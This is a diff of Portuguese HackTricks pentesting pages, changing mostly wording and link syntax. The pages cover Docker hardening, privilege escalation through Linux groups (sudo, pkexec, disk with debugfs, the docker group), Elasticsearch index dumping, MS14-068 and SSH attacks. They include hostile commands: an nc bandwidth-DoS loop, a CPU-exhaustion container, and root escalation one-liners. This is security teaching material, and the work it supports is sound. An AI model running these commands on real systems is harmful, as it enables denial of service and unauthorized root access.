Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
|
||||
```
|
||||
@ -219,7 +219,7 @@ authz-and-authn-docker-access-authorization-plugin.md
|
||||
|
||||
## DoS de um contêiner
|
||||
|
||||
Se você não estiver limitando adequadamente os recursos que um contêiner pode usar, um contêiner comprometido poderia causar DoS no host onde está sendo executado.
|
||||
Se você não estiver limitando adequadamente os recursos que um contêiner pode usar, um contêiner comprometido poderia causar DoS ao host onde está sendo executado.
|
||||
|
||||
- DoS de CPU
|
||||
```bash
|
||||
@ -229,15 +229,15 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
|
||||
# While loop
|
||||
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
|
||||
```
|
||||
- DoS de Largura de Banda
|
||||
- Bandwidth DoS
|
||||
```bash
|
||||
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
|
||||
```
|
||||
## Flags Interessantes do Docker
|
||||
|
||||
### --privileged flag
|
||||
### Flag --privileged
|
||||
|
||||
Na página a seguir, você pode aprender **o que o flag `--privileged` implica**:
|
||||
Na página a seguir, você pode aprender **o que a flag `--privileged` implica**:
|
||||
|
||||
{{#ref}}
|
||||
docker-privileged.md
|
||||
@ -272,7 +272,7 @@ Para mais opções **`--security-opt`** consulte: [https://docs.docker.com/engin
|
||||
|
||||
## Outras Considerações de Segurança
|
||||
|
||||
### Gerenciamento de Segredos: Melhores Práticas
|
||||
### Gerenciando Segredos: Melhores Práticas
|
||||
|
||||
É crucial evitar embutir segredos diretamente em imagens Docker ou usar variáveis de ambiente, pois esses métodos expõem suas informações sensíveis a qualquer pessoa com acesso ao contêiner através de comandos como `docker inspect` ou `exec`.
|
||||
|
||||
@ -290,7 +290,7 @@ BuildKit permite o uso de segredos em tempo de construção com a opção `--sec
|
||||
```bash
|
||||
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
|
||||
```
|
||||
Para segredos necessários em um contêiner em execução, **Docker Compose e Kubernetes** oferecem soluções robustas. O Docker Compose utiliza uma chave `secrets` na definição do serviço para especificar arquivos secretos, como mostrado em um exemplo de `docker-compose.yml`:
|
||||
Para segredos necessários em um contêiner em execução, **Docker Compose e Kubernetes** oferecem soluções robustas. Docker Compose utiliza uma chave `secrets` na definição do serviço para especificar arquivos secretos, como mostrado em um exemplo de `docker-compose.yml`:
|
||||
```yaml
|
||||
version: "3.7"
|
||||
services:
|
||||
@ -311,23 +311,27 @@ Em ambientes Kubernetes, segredos são suportados nativamente e podem ser gerenc
|
||||
|
||||
**gVisor** é um kernel de aplicativo, escrito em Go, que implementa uma parte substancial da superfície do sistema Linux. Inclui um runtime da [Open Container Initiative (OCI)](https://www.opencontainers.org) chamado `runsc` que fornece uma **fronteira de isolamento entre o aplicativo e o kernel do host**. O runtime `runsc` se integra ao Docker e Kubernetes, facilitando a execução de contêineres em sandbox.
|
||||
|
||||
{% embed url="https://github.com/google/gvisor" %}
|
||||
{{#ref}}
|
||||
https://github.com/google/gvisor
|
||||
{{#endref}}
|
||||
|
||||
### Kata Containers
|
||||
|
||||
**Kata Containers** é uma comunidade de código aberto que trabalha para construir um runtime de contêiner seguro com máquinas virtuais leves que se comportam e desempenham como contêineres, mas fornecem **isolamento de carga de trabalho mais forte usando tecnologia de virtualização de hardware** como uma segunda camada de defesa.
|
||||
**Kata Containers** é uma comunidade de código aberto que trabalha para construir um runtime de contêiner seguro com máquinas virtuais leves que se comportam e têm desempenho como contêineres, mas fornecem **isolamento de carga de trabalho mais forte usando tecnologia de virtualização de hardware** como uma segunda camada de defesa.
|
||||
|
||||
{% embed url="https://katacontainers.io/" %}
|
||||
{{#ref}}
|
||||
https://katacontainers.io/
|
||||
{{#endref}}
|
||||
|
||||
### Dicas Resumidas
|
||||
|
||||
- **Não use a flag `--privileged` ou monte um** [**socket Docker dentro do contêiner**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** O socket docker permite a criação de contêineres, então é uma maneira fácil de ter controle total do host, por exemplo, executando outro contêiner com a flag `--privileged`.
|
||||
- **Não execute como root dentro do contêiner. Use um** [**usuário diferente**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **e** [**namespaces de usuário**](https://docs.docker.com/engine/security/userns-remap/)**.** O root no contêiner é o mesmo que no host, a menos que remapeado com namespaces de usuário. É apenas levemente restrito por, principalmente, namespaces do Linux, capacidades e cgroups.
|
||||
- **Não use a flag `--privileged` ou monte um** [**socket Docker dentro do contêiner**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** O socket docker permite a criação de contêineres, então é uma maneira fácil de assumir o controle total do host, por exemplo, executando outro contêiner com a flag `--privileged`.
|
||||
- **Não execute como root dentro do contêiner. Use um** [**usuário diferente**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **e** [**namespaces de usuário**](https://docs.docker.com/engine/security/userns-remap/)**.** O root no contêiner é o mesmo que no host, a menos que seja remapeado com namespaces de usuário. É apenas levemente restrito por, principalmente, namespaces do Linux, capacidades e cgroups.
|
||||
- [**Remova todas as capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e habilite apenas aquelas que são necessárias** (`--cap-add=...`). Muitas cargas de trabalho não precisam de capacidades e adicioná-las aumenta o escopo de um ataque potencial.
|
||||
- [**Use a opção de segurança “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) para evitar que processos ganhem mais privilégios, por exemplo, através de binários suid.
|
||||
- [**Limite os recursos disponíveis para o contêiner**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Limites de recursos podem proteger a máquina contra ataques de negação de serviço.
|
||||
- **Ajuste** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ou SELinux)** perfis para restringir as ações e syscalls disponíveis para o contêiner ao mínimo necessário.
|
||||
- **Use** [**imagens docker oficiais**](https://docs.docker.com/docker-hub/official_images/) **e exija assinaturas** ou construa suas próprias com base nelas. Não herde ou use imagens [com backdoor](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Também armazene chaves root e senhas em um lugar seguro. O Docker tem planos para gerenciar chaves com UCP.
|
||||
- **Use** [**imagens docker oficiais**](https://docs.docker.com/docker-hub/official_images/) **e exija assinaturas** ou construa suas próprias com base nelas. Não herde ou use imagens [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Também armazene chaves root, senhas em um lugar seguro. O Docker tem planos para gerenciar chaves com UCP.
|
||||
- **Reconstrua regularmente** suas imagens para **aplicar patches de segurança ao host e às imagens.**
|
||||
- Gerencie seus **segredos com sabedoria** para que seja difícil para o atacante acessá-los.
|
||||
- Se você **expor o daemon docker, use HTTPS** com autenticação de cliente e servidor.
|
||||
@ -344,9 +348,9 @@ Se você está **dentro de um contêiner docker** ou tem acesso a um usuário no
|
||||
docker-breakout-privilege-escalation/
|
||||
{{#endref}}
|
||||
|
||||
## Bypass do Plugin de Autenticação Docker
|
||||
## Bypass do Plugin de Autenticação do Docker
|
||||
|
||||
Se você tem acesso ao socket docker ou tem acesso a um usuário no **grupo docker, mas suas ações estão sendo limitadas por um plugin de autenticação docker**, verifique se você pode **contorná-lo:**
|
||||
Se você tem acesso ao socket docker ou tem acesso a um usuário no **grupo docker, mas suas ações estão sendo limitadas por um plugin de autenticação do docker**, verifique se você pode **contorná-lo:**
|
||||
|
||||
{{#ref}}
|
||||
authz-and-authn-docker-access-authorization-plugin.md
|
||||
@ -373,5 +377,4 @@ Você precisa executar a ferramenta a partir do host que executa o docker ou de
|
||||
- [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
- [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
### **PE - Método 1**
|
||||
|
||||
**Às vezes**, **por padrão (ou porque algum software precisa disso)** dentro do **/etc/sudoers** você pode encontrar algumas dessas linhas:
|
||||
**Às vezes**, **por padrão (ou porque algum software precisa disso)** dentro do arquivo **/etc/sudoers** você pode encontrar algumas dessas linhas:
|
||||
```bash
|
||||
# Allow members of group sudo to execute any command
|
||||
%sudo ALL=(ALL:ALL) ALL
|
||||
@ -27,7 +27,7 @@ Encontre todos os binários suid e verifique se há o binário **Pkexec**:
|
||||
find / -perm -4000 2>/dev/null
|
||||
```
|
||||
Se você descobrir que o binário **pkexec é um binário SUID** e você pertence ao **sudo** ou **admin**, você provavelmente poderá executar binários como sudo usando `pkexec`.\
|
||||
Isso ocorre porque, normalmente, esses são os grupos dentro da **política do polkit**. Essa política basicamente identifica quais grupos podem usar `pkexec`. Verifique com:
|
||||
Isso ocorre porque, normalmente, esses são os grupos dentro da **polkit policy**. Essa política basicamente identifica quais grupos podem usar `pkexec`. Verifique com:
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
@ -66,7 +66,7 @@ Se este for o caso, para **se tornar root você pode apenas executar**:
|
||||
```
|
||||
sudo su
|
||||
```
|
||||
## Grupo Shadow
|
||||
## Shadow Group
|
||||
|
||||
Usuários do **grupo shadow** podem **ler** o **/etc/shadow** arquivo:
|
||||
```
|
||||
@ -86,7 +86,7 @@ $ echo $PATH
|
||||
# echo $PATH
|
||||
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
||||
```
|
||||
Se conseguirmos sequestrar alguns programas em `/usr/local`, podemos facilmente obter root.
|
||||
Se conseguirmos sequestrar alguns programas em `/usr/local`, podemos facilmente obter acesso root.
|
||||
|
||||
Sequestrar o programa `run-parts` é uma maneira fácil de obter root, porque a maioria dos programas executará um `run-parts`, como (crontab, quando o ssh faz login).
|
||||
```bash
|
||||
@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null
|
||||
```
|
||||
## Grupo Docker
|
||||
|
||||
Você pode **montar o sistema de arquivos raiz da máquina host em um volume da instância**, de modo que, quando a instância inicia, ela carrega imediatamente um `chroot` nesse volume. Isso efetivamente lhe dá acesso root na máquina.
|
||||
Você pode **montar o sistema de arquivos raiz da máquina host em um volume da instância**, para que quando a instância iniciar, ela carregue imediatamente um `chroot` nesse volume. Isso efetivamente lhe dá acesso root na máquina.
|
||||
```bash
|
||||
docker image #Get images from the docker service
|
||||
|
||||
@ -201,9 +201,13 @@ Finalmente, se você não gosta de nenhuma das sugestões anteriores, ou elas n
|
||||
|
||||
Se você tiver permissões de escrita sobre o socket do docker, leia [**este post sobre como escalar privilégios abusando do socket do docker**](../#writable-docker-socket)**.**
|
||||
|
||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||
{{#ref}}
|
||||
https://github.com/KrustyHack/docker-privilege-escalation
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
|
||||
{{#ref}}
|
||||
https://fosterelli.co/privilege-escalation-via-docker.html
|
||||
{{#endref}}
|
||||
|
||||
## Grupo lxc/lxd
|
||||
|
||||
@ -213,7 +217,7 @@ Se você tiver permissões de escrita sobre o socket do docker, leia [**este pos
|
||||
|
||||
## Grupo Adm
|
||||
|
||||
Normalmente, **membros** do grupo **`adm`** têm permissões para **ler arquivos de log** localizados em _/var/log/_.\
|
||||
Normalmente, **membros** do grupo **`adm`** têm permissões para **ler arquivos de log** localizados dentro de _/var/log/_.\
|
||||
Portanto, se você comprometeu um usuário dentro deste grupo, você definitivamente deve dar uma **olhada nos logs**.
|
||||
|
||||
## Grupo Auth
|
||||
|
||||
@ -1,11 +1,10 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
# Grupos Sudo/Admin
|
||||
|
||||
## **PE - Método 1**
|
||||
|
||||
**Às vezes**, **por padrão \(ou porque algum software precisa\)** dentro do **/etc/sudoers** você pode encontrar algumas dessas linhas:
|
||||
**Às vezes**, **por padrão \(ou porque algum software precisa disso\)** dentro do **/etc/sudoers** você pode encontrar algumas dessas linhas:
|
||||
```bash
|
||||
# Allow members of group sudo to execute any command
|
||||
%sudo ALL=(ALL:ALL) ALL
|
||||
@ -29,7 +28,7 @@ Se você descobrir que o binário pkexec é um binário SUID e você pertence ao
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
Lá você encontrará quais grupos têm permissão para executar **pkexec** e **por padrão** em alguns linux podem **aparecer** alguns dos grupos **sudo ou admin**.
|
||||
Lá você encontrará quais grupos têm permissão para executar **pkexec** e **por padrão** em algumas distribuições Linux podem **aparecer** alguns dos grupos **sudo ou admin**.
|
||||
|
||||
Para **se tornar root você pode executar**:
|
||||
```bash
|
||||
@ -58,7 +57,7 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
|
||||
```text
|
||||
%wheel ALL=(ALL:ALL) ALL
|
||||
```
|
||||
Isso significa que **qualquer usuário que pertence ao grupo wheel pode executar qualquer coisa como sudo**.
|
||||
Isso significa que **qualquer usuário que pertença ao grupo wheel pode executar qualquer coisa como sudo**.
|
||||
|
||||
Se este for o caso, para **se tornar root você pode apenas executar**:
|
||||
```text
|
||||
@ -76,7 +75,7 @@ Então, leia o arquivo e tente **quebrar algumas hashes**.
|
||||
|
||||
Esse privilégio é quase **equivalente ao acesso root** pois você pode acessar todos os dados dentro da máquina.
|
||||
|
||||
Arquivos:`/dev/sd[a-z][1-9]`
|
||||
Arquivos: `/dev/sd[a-z][1-9]`
|
||||
```text
|
||||
debugfs /dev/sda1
|
||||
debugfs: cd /root
|
||||
@ -126,9 +125,13 @@ find / -group root -perm -g=w 2>/dev/null
|
||||
|
||||
Você pode montar o sistema de arquivos raiz da máquina host em um volume da instância, então quando a instância inicia, ela imediatamente carrega um `chroot` nesse volume. Isso efetivamente lhe dá acesso root na máquina.
|
||||
|
||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||
{{#ref}}
|
||||
https://github.com/KrustyHack/docker-privilege-escalation
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
|
||||
{{#ref}}
|
||||
https://fosterelli.co/privilege-escalation-via-docker.html
|
||||
{{#endref}}
|
||||
|
||||
# Grupo lxc/lxd
|
||||
|
||||
|
||||
@ -1,49 +1,95 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
|
||||
{{#ref}}
|
||||
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
|
||||
{{#ref}}
|
||||
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/pentesting-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
|
||||
{{#ref}}
|
||||
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
|
||||
{{#ref}}
|
||||
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
|
||||
{{#ref}}
|
||||
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
|
||||
{{#ref}}
|
||||
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/oscp-fun-guide/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.thehacker.recipes/" %}
|
||||
{{#ref}}
|
||||
https://www.thehacker.recipes/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://gtfobins.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfobins.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hideandsec.sh/" %}
|
||||
{{#ref}}
|
||||
https://hideandsec.sh/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://cheatsheet.haax.fr/" %}
|
||||
{{#ref}}
|
||||
https://cheatsheet.haax.fr/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://infosecwriteups.com/" %}
|
||||
{{#ref}}
|
||||
https://infosecwriteups.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.exploit-db.com/" %}
|
||||
{{#ref}}
|
||||
https://www.exploit-db.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://wadcoms.github.io/" %}
|
||||
{{#ref}}
|
||||
https://wadcoms.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://lolbas-project.github.io" %}
|
||||
{{#ref}}
|
||||
https://lolbas-project.github.io
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestbook.six2dez.com/" %}
|
||||
{{#ref}}
|
||||
https://pentestbook.six2dez.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.hackingarticles.in/" %}
|
||||
{{#ref}}
|
||||
https://www.hackingarticles.in/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestlab.blog/" %}
|
||||
{{#ref}}
|
||||
https://pentestlab.blog/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ippsec.rocks/" %}
|
||||
{{#ref}}
|
||||
https://ippsec.rocks/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -8,6 +8,8 @@ Esta porta é usada pelo **Redshift** para funcionar. É basicamente uma variaç
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
# Informações Básicas
|
||||
|
||||
A partir de [aqui](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Impressão bruta é o que definimos como o processo de fazer uma conexão com a porta 9100/tcp de uma impressora de rede. É o método padrão usado pelo CUPS e pela arquitetura de impressão do Windows para se comunicar com impressoras de rede, pois é considerado como ‘_o protocolo de rede mais simples, rápido e geralmente mais confiável usado para impressoras_’. A impressão na porta 9100 bruta, também referida como JetDirect, AppSocket ou PDL-datastream, na verdade **não é um protocolo de impressão por si só**. Em vez disso, **todos os dados enviados são processados diretamente pelo dispositivo de impressão**, assim como uma conexão paralela sobre TCP. Em contraste com LPD, IPP e SMB, isso pode enviar feedback direto ao cliente, incluindo mensagens de status e erro. Tal **canal bidirecional** nos dá **acesso** direto aos **resultados** de comandos **PJL**, **PostScript** ou **PCL**. Portanto, a impressão na porta 9100 bruta – que é suportada por quase qualquer impressora de rede – é usada como o canal para análise de segurança com PRET e PFT.
|
||||
A partir de [aqui](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Impressão bruta é o que definimos como o processo de fazer uma conexão com a porta 9100/tcp de uma impressora de rede. É o método padrão usado pelo CUPS e pela arquitetura de impressão do Windows para se comunicar com impressoras de rede, pois é considerado como ‘_o protocolo de rede mais simples, rápido e geralmente mais confiável usado para impressoras_’. A impressão na porta 9100 bruta, também referida como JetDirect, AppSocket ou PDL-datastream, na verdade **não é um protocolo de impressão por si só**. Em vez disso, **todos os dados enviados são processados diretamente pelo dispositivo de impressão**, assim como uma conexão paralela via TCP. Em contraste com LPD, IPP e SMB, isso pode enviar feedback direto ao cliente, incluindo mensagens de status e erro. Tal **canal bidirecional** nos dá **acesso** direto aos **resultados** dos comandos **PJL**, **PostScript** ou **PCL**. Portanto, a impressão na porta 9100 bruta – que é suportada por quase qualquer impressora de rede – é usada como o canal para análise de segurança com PRET e PFT.
|
||||
|
||||
Se você quiser aprender mais sobre [**hackeando impressoras, leia esta página**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
|
||||
@ -48,7 +48,9 @@ msf> use auxiliary/scanner/printer/printer_delete_file
|
||||
|
||||
Esta é a ferramenta que você quer usar para abusar de impressoras:
|
||||
|
||||
{% embed url="https://github.com/RUB-NDS/PRET" %}
|
||||
{{#ref}}
|
||||
https://github.com/RUB-NDS/PRET
|
||||
{{#endref}}
|
||||
|
||||
# **Shodan**
|
||||
|
||||
|
||||
@ -89,7 +89,7 @@ Aqui estão alguns endpoints que você pode **acessar via GET** para **obter** a
|
||||
Esses endpoints foram [**retirados da documentação**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) onde você pode **encontrar mais**.\
|
||||
Além disso, se você acessar `/_cat`, a resposta conterá os endpoints `/_cat/*` suportados pela instância.
|
||||
|
||||
Em `/_security/user` (se a autenticação estiver habilitada) você pode ver qual usuário tem o papel `superuser`.
|
||||
Em `/_security/user` (se a autenticação estiver habilitada) você pode ver qual usuário tem o papel de `superuser`.
|
||||
|
||||
### Índices
|
||||
|
||||
@ -112,7 +112,7 @@ Se você quiser **extrair todo o conteúdo** de um índice, pode acessar: `http:
|
||||
|
||||
_Tire um momento para comparar o conteúdo de cada documento (entrada) dentro do índice bank e os campos deste índice que vimos na seção anterior._
|
||||
|
||||
Então, neste ponto, você pode notar que **existe um campo chamado "total" dentro de "hits"** que indica que **1000 documentos foram encontrados** dentro deste índice, mas apenas 10 foram recuperados. Isso ocorre porque **por padrão há um limite de 10 documentos**.\
|
||||
Então, neste ponto, você pode notar que **há um campo chamado "total" dentro de "hits"** que indica que **1000 documentos foram encontrados** dentro deste índice, mas apenas 10 foram recuperados. Isso ocorre porque **por padrão há um limite de 10 documentos**.\
|
||||
Mas, agora que você sabe que **este índice contém 1000 documentos**, você pode **extrair todos eles** indicando o número de entradas que deseja extrair no parâmetro **`size`**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
|
||||
\&#xNAN;_Nota: Se você indicar um número maior, todas as entradas serão extraídas de qualquer maneira, por exemplo, você poderia indicar `size=9999` e seria estranho se houvesse mais entradas (mas você deve verificar)._
|
||||
|
||||
@ -161,11 +161,12 @@ Algumas ferramentas obterão alguns dos dados apresentados anteriormente:
|
||||
```bash
|
||||
msf > use auxiliary/scanner/elasticsearch/indices_enum
|
||||
```
|
||||
{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %}
|
||||
{{#ref}}
|
||||
https://github.com/theMiddleBlue/nmap-elasticsearch-nse
|
||||
{{#endref}}
|
||||
|
||||
## Shodan
|
||||
|
||||
- `port:9200 elasticsearch`
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,7 +4,9 @@
|
||||
|
||||
# **Senhas Padrão**
|
||||
|
||||
{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
|
||||
{{#ref}}
|
||||
http://www.vulnerabilityassessment.co.uk/passwordsC.htm
|
||||
{{#endref}}
|
||||
|
||||
# Arquivos de configuração
|
||||
```text
|
||||
|
||||
@ -25,9 +25,11 @@ PORT STATE SERVICE
|
||||
|
||||
### MS14-068
|
||||
|
||||
A falha MS14-068 permite que um atacante manipule o token de login Kerberos de um usuário legítimo para falsamente reivindicar privilégios elevados, como ser um Administrador de Domínio. Essa reivindicação falsa é validada erroneamente pelo Controlador de Domínio, permitindo acesso não autorizado a recursos de rede em toda a floresta do Active Directory.
|
||||
A falha MS14-068 permite que um atacante manipule o token de login Kerberos de um usuário legítimo para reivindicar falsamente privilégios elevados, como ser um Administrador de Domínio. Essa reivindicação falsa é validada erroneamente pelo Controlador de Domínio, permitindo acesso não autorizado a recursos de rede em toda a floresta do Active Directory.
|
||||
|
||||
{% embed url="https://adsecurity.org/?p=541" %}
|
||||
{{#ref}}
|
||||
https://adsecurity.org/?p=541
|
||||
{{#endref}}
|
||||
|
||||
Outros exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
|
||||
|
||||
|
||||
@ -2,8 +2,6 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
**SSH (Secure Shell ou Secure Socket Shell)** é um protocolo de rede que permite uma conexão segura a um computador através de uma rede não segura. É essencial para manter a confidencialidade e integridade dos dados ao acessar sistemas remotos.
|
||||
@ -40,13 +38,13 @@ ssh-audit é uma ferramenta para auditoria de configuração de servidor e clien
|
||||
|
||||
**Recursos:**
|
||||
|
||||
- Suporte ao protocolo SSH1 e SSH2;
|
||||
- Suporte ao servidor dos protocolos SSH1 e SSH2;
|
||||
- analisar a configuração do cliente SSH;
|
||||
- capturar banner, reconhecer dispositivo ou software e sistema operacional, detectar compressão;
|
||||
- coletar algoritmos de troca de chaves, chave do host, criptografia e código de autenticação de mensagem;
|
||||
- saída de informações sobre algoritmos (disponível desde, removido/desativado, inseguro/fraco/legado, etc);
|
||||
- saída de recomendações de algoritmos (adicionar ou remover com base na versão do software reconhecido);
|
||||
- saída de informações de segurança (problemas relacionados, lista de CVE atribuídos, etc);
|
||||
- saída de informações de segurança (problemas relacionados, lista de CVE atribuída, etc);
|
||||
- analisar a compatibilidade da versão SSH com base nas informações do algoritmo;
|
||||
- informações históricas do OpenSSH, Dropbear SSH e libssh;
|
||||
- funciona em Linux e Windows;
|
||||
@ -119,7 +117,9 @@ Ou use `ssh-keybrute.py` (python3 nativo, leve e com algoritmos legados habilita
|
||||
|
||||
#### Chaves ruins conhecidas podem ser encontradas aqui:
|
||||
|
||||
{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %}
|
||||
{{#ref}}
|
||||
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
||||
{{#endref}}
|
||||
|
||||
#### Chaves SSH fracas / PRNG previsível do Debian
|
||||
|
||||
@ -159,7 +159,7 @@ Se você estiver na rede local como a vítima que vai se conectar ao servidor SS
|
||||
|
||||
- **Redirecionamento de Tráfego:** O atacante **desvia** o tráfego da vítima para sua máquina, efetivamente **interceptando** a tentativa de conexão ao servidor SSH.
|
||||
- **Intercepção e Registro:** A máquina do atacante atua como um **proxy**, **capturando** os detalhes de login do usuário ao fingir ser o servidor SSH legítimo.
|
||||
- **Execução de Comandos e Revezamento:** Finalmente, o servidor do atacante **registra as credenciais do usuário**, **encaminha os comandos** para o verdadeiro servidor SSH, **os executa** e **envia os resultados de volta** para o usuário, fazendo o processo parecer contínuo e legítimo.
|
||||
- **Execução de Comandos e Revezamento:** Finalmente, o servidor do atacante **registra as credenciais do usuário**, **encaminha os comandos** para o verdadeiro servidor SSH, **os executa** e **envia os resultados de volta** ao usuário, fazendo o processo parecer contínuo e legítimo.
|
||||
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) faz exatamente o que foi descrito acima.
|
||||
|
||||
@ -167,7 +167,7 @@ Para capturar e realizar o MitM real, você pode usar técnicas como spoofing AR
|
||||
|
||||
## SSH-Snake
|
||||
|
||||
Se você deseja percorrer uma rede usando chaves privadas SSH descobertas em sistemas, utilizando cada chave privada em cada sistema para novos hosts, então [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) é o que você precisa.
|
||||
Se você quiser percorrer uma rede usando chaves privadas SSH descobertas em sistemas, utilizando cada chave privada em cada sistema para novos hosts, então [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) é o que você precisa.
|
||||
|
||||
SSH-Snake realiza as seguintes tarefas automaticamente e recursivamente:
|
||||
|
||||
|
||||
@ -2,8 +2,10 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Verifique esta página se você quiser aprender mais sobre como enumerar e abusar de Buckets:
|
